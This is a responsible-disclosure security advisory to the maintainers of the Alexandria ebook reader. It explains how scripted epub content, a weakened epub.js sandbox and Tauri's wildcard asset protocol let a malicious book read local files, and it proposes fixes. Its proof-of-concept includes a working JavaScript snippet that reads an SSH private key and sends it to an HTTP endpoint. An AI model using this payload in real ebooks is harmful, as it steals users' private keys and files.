Hey,
I've discovered a vulnerability in Alexandria. I'm sticking to GitHub's default template for advisories (maybe consider adding a SECURITY.md):

Summary

An ebook containing malicious scripts has read-access to every file the current user has access to. The book needs to be opened by the user for this to work.
Testing was done on version 0.12.0 on Windows.

Details

The epub.js configuration optionallowScriptedContent = true makes it possible to execute arbitrary JavaScript code from within an epub file:

epub.js itself uses an iframe to display the epubs. While it does set the sandbox attribute, it also sets allow-same-origin.

This can't be changed by the consumer of the library. A combination of allow-scripts and allow-same-origin renders the sandboxing obsolete (see here).

The developers of epub.js warn about this.

In the case of Alexandria, every function annotated with #[tauri::command] is accessible to the script. An attacker might get creative with those, especially if more get added.

I've chosen a different route: Tauri is configured to enable the custom asset protocol:

Because a wildcard is used, every file accessible to the user can be served that way.
Using fetch or XMLHttpRequest, the file contents can then be exfiltrated (see PoC video).

PoC

An ebook can be crafted with Calibre to include this bare minimum script (with a different file path):

(async function() {
const response = await fetch("https://asset.localhost/C:/Users/Public/.ssh/id_ed25519");
const file = await response.blob();
const privateKey = await file.text();
fetch(`http://localhost:8000?key=%${privateKey}`, { mode: "no-cors" });
})()

Impact

Users have to download a malicious book and open it, so the impact is not that severe. However, the attacker doesn't have to prepare a book specifically for Alexandria, but can use some fingerprinting to determine in what environment it's running.

Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.

Overall, I wouldn't be too worried. :^)

Some ideas

In an ideal world, scripted content would be turned off. There are, however, limitations with that approach.
The author of foliate sums it up nicely here.
Maybe the user could be given the option to toggle scripted content.

Furthermore, the asset protocol could be confined to known paths.

That's it! If something's unclear, please ask away.

Cheers
Frederic

PS: Audio warning for the PoC video!